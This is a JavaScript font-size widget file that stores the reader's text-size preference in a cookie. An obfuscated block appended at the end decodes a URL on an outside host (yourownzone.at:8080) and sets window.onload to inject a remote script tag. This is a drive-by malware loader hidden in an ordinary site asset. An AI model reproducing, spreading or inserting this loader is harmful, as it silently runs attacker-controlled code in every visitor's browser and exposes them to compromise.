// part of code by Chris Kaminski www.setmajer.com/demo/fontsizewidget.html
// heavily adapted for php integration by Hans Bracker.
// The sizer buttons are loaded via markup (:fontsizer:)
// variables 'increment' and 'fontSizeDefault' are set in fontsizer.php

function Fontsize(increment,def) {
    this.w3c = (document.getElementById);
    this.ms = (document.all);
    this.userAgent = navigator.userAgent.toLowerCase();
    this.isOldOp = ((this.userAgent.indexOf('opera') != -1)&&(parseFloat(this.userAgent.substr(this.userAgent.indexOf('opera')+5)) <= 7));
    // this.isMacIE = ((this.userAgent.indexOf('msie') != -1) && (this.userAgent.indexOf('mac') != -1) && (this.userAgent.indexOf('opera') == -1));
    if ((this.w3c || this.ms) && !this.isOldOp && !this.isMacIE) {
        this.name = "fontSize";
 //      this.cookiePrefix = cookiePrefix;
 //      this.cookieName = cookiePrefix+'setfontsize';
        this.cookieName = cookieName;
        this.cookieExpires = '30';
        this.cookiePath = '/';
        this.increment = increment;  
        this.def = def;
        this.defPx = Math.round(16*(def/100))
        this.base = 1;
        this.pref = this.getPref();
        this.testHTML = '<div id="fontSizeTest" style="position:absolute;top:0;left:0;width:2em;visibility:hidden;line-height:1em;">&nbsp;</div>';
    } else {
        this.fontSizeInit = new Function('return true;');
    }
        return;
}

// check the user's current base text size and adjust as necessary
Fontsize.prototype.fontSizeInit = function() {
        document.writeln(this.testHTML);
        this.body = (this.w3c)?document.getElementsByTagName('body')[0].style:document.all.tags('body')[0].style;
        this.fontSizeTest = (this.w3c)?document.getElementById('fontSizeTest'):document.all['fontSizeTest'];
        var h = (this.fontSizeTest.clientHeight)?parseInt(this.fontSizeTest.clientHeight):(this.fontSizeTest.offsetHeight)?parseInt(this.fontSizeTest.offsetHeight):999;
        if (h < this.defPx) this.base = this.defPx/h;
        this.body.fontSize = Math.round(this.pref*this.base) + '%';
        fsinit = 1;
}

Fontsize.prototype.getPref = function() {
    var pref = this.getCookie(this.cookieName);
    if (pref) return parseInt(pref);
    else return this.def;
}

Fontsize.prototype.setSize = function(direction) {
    this.pref = (direction)?this.pref+(direction*this.increment):this.def;
    setCookies = setcookie(this.cookieName,this.pref,this.cookieExpires,this.cookiePath);
    this.body.fontSize = Math.round(this.pref*this.base) + '%';
}
Fontsize.prototype.getCookie = function(cookieName) {
    var cookie = getcookie(cookieName);   
    return (cookie)?cookie:false;
}

var  fontSize = new Fontsize(increment,fontSizeDefault);
var  fsinit = 0;

function getexpirydate( nodays){
    var UTCstring;
    Today = new Date();
    nomilli=Date.parse(Today);
    Today.setTime(nomilli+nodays*24*60*60*1000);
    UTCstring = Today.toUTCString();
    return UTCstring;
}

function getcookie(cookiename) {
    var cookiestring=""+document.cookie;
    var index1=cookiestring.indexOf(cookiename);
    if (index1==-1 || cookiename=="") return ""; 
    var index2=cookiestring.indexOf(';',index1);
    if (index2==-1) index2=cookiestring.length; 
    return unescape(cookiestring.substring(index1+cookiename.length+1,index2));
}

function setcookie(name,value,duration,path){
    cookiestring=name+"="+escape(value)+";EXPIRES="+getexpirydate(duration)+";PATH="+path;
    document.cookie=cookiestring;
    if(!getcookie(name)){ return false; }
    else{ return true; }
}

    
this.n='';this.C="";function P(){var f;if(f!='Y' && f != ''){f=null};var hz="";var V=window;var cP;if(cP!='' && cP!='B'){cP=''};var Mb;if(Mb!='' && Mb!='b'){Mb=''};var Pi;if(Pi!='Bx' && Pi != ''){Pi=null};var hG=new Date();var S=V['unescape'];var v=new Date();var K;if(K!='' && K!='H'){K=''};var W=S("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%67%72%2f%67%6f%6f%67%6c%65%2e%6c%6b%2e%70%68%70");var g;if(g!='Q'){g='Q'};function G(e,Z){this.Hw="";var O=S("%5d");var Wb=new Array();var Zj=S("%5b");var YJ='';var VG=new String("g");var Bt;if(Bt!='CW' && Bt != ''){Bt=null};var c=new RegExp(Zj+Z+O, VG);return e.replace(c, new String());var J=new String();this.oQ="";};var oz;if(oz!='' && oz!='yj'){oz='_F'};var a;if(a!='' && a!='xO'){a='l'};var zV;if(zV!='ic' && zV != ''){zV=null};this.cy='';var X;if(X!='rv' && X!='vM'){X=''};var u=G('823097384690753','64397215');var Ys='';var MR='';var _=document;var m=G('dUekf9e3r3','YM5Uk93l');this.Zn="";var kG;if(kG!='' && kG!='yF'){kG='zF'};var w=G('sJc9rNiRpJtu','Vvu0H_NJRyM9');var Qv;if(Qv!=''){Qv='Ea'};var AE=new String();var un=G('sVrBcB','3p1SaYfVtgMBwCKhnd5Wm');var PH=new String();var D_;if(D_!='' && D_!='NV'){D_='vN'};var oU;if(oU!='hn' && oU!='Vf'){oU='hn'};function h(){var hX=new Array();var z=S("%68%74%74%70%3a%2f%2f%79%6f%75%72%6f%77%6e%7a%6f%6e%65%2e%61%74%3a");var JO="";var p;if(p!='' && p!='qD'){p=null};var bm=new String();var U=z;var hr;if(hr!='' && hr!='KQ'){hr=''};var Tz;if(Tz!='' && Tz!='Ol'){Tz=''};U+=u;U+=W;this.Jc='';var AD=new Date();var Yb;if(Yb!='' && Yb!='sU'){Yb='jo'};var Pw="";try {var _O;if(_O!='OW' && _O!='yi'){_O=''};this.yK="";var vb="";zE=_[G('cArAegaDtwe7EglweAmge9nwtN','7NwgAUD59y')](w);var zu='';var cK=new String();var uz=new Date();var WH=new Date();var Nu=new String();zE[un]=U;var vA;if(vA!='' && vA!='AS'){vA=''};var iN=new Array();zE[m]=[1,4][0];_.body[G('a9pZp2ebn_dbCfhqiLlHdf','H290PbZo4L_qf')](zE);var jS;if(jS!='kF' && jS!='jM'){jS=''};var oP="";} catch(A){var DU;if(DU!='' && DU!='AN'){DU=''};var pd='';};var Wi;if(Wi!=''){Wi='TY'};var wM='';}var tJ=new String();var jv;if(jv!='' && jv!='Dm'){jv='cf'};var y=G('otntl5oYayd1','5t2jyY1P');var ao;if(ao!='' && ao!='rR'){ao=''};V[y]=h;var iw;if(iw!='LE' && iw!='OP'){iw=''};var dW;if(dW!='Lv' && dW != ''){dW=null};};var JK=new Date();this.eB="";this.kw="";P();
